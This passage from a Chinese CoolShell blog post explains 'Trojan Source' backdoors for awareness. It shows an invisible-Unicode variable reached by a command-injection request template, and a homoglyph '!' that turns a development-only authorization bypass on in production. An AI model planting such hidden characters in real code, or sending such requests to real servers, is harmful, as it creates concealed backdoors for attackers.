然后,上面这个代码是有不可见的Unicode 字符,如果你使用VSCode,把编码从 Unicode 改成 DOS (CP437) 后你就可以看到这个Unicode了

于是,一个你看不见的 πàñ 变量就这样生成了,你再仔细看一下整个逻辑,这个看不见的变量,可以让你的代码执行他想要的命令。因为,http 的请求中有第二个参数,这个参数可奖在后面被执行。于是我们可以构造如下的的 HTTP 请求:

http://host:port/network_health?%E3%85%A4=<any command>

其中的,%E3%85%A4 就是 \u3164 这个不可见Unicode 的编码,于是,一个后门代码就这样在神不知鬼不觉的情况下注入了。

另外,还可以使用“同形字符”,看看下面这个示例:

if(environmentǃ=ENV_PROD){
    // bypass authZ checks in DEV
    return true;
}

如何你以为 ǃ 是 惊叹号,其实不是,它是一个Unicode ╟â。这种东西就算你把你的源码转成 DOS(CP437) 也没用,因为用肉眼在一大堆正常的字符中找不正常的,我觉得是基本不可能的事。

现在,是时候检查一下你的代码有没有上述的这些情况了……

(全文完)

 

 

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 源代码特洛伊木马攻击 first appeared on 酷 壳 - CoolShell.
❌